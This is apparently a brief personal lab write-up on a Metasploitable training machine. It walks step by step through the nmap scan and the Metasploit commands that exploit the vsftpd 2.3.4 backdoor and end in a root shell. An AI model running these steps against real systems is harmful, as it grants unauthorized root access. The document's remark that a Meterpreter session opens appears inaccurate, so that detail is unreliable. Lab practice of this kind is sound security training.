vsftpd 2.3.4 Backdoor Command Execution

Metasploitable Writeup, September 6, 2026

Objective: Gain backdoor access using a pre-existing exploit with the assistance of Metasploit.

Exploit: During username handling, the exploit will check for ":)" in the username string. If this is found, it will successfully trigger the backdoor.

1. Shell Input: "nmap -sV [target IP]"
   Identified open Port 21. This port provides FTP on the target using vsftpd 2.3.4.
2. Search in exploit-db for Metasploit backdoor command. Noticed one was present.
3. Shell Input: "msfconsole"
4. Shell Input: "set LHOST [Attacker IP]"
5. Shell Input: "search vsftpd 2.3.4"
6. Shell Input: "use exploit/unix/ftp/vsftpd_234_backdoor"
7. Shell Input: "set RHOST [Target IP]"
8. Shell Input: "run"
9. Meterpreter opens. Meterpreter is a payload created specifically for Metasploit.
10. Shell Input: "shell"
11. Shell Input: "whoami"
12. Observe "root" response, indicating unauthorized root access as a result of the vsftpd 2.3.4 backdoor.

I'll format this better later sorry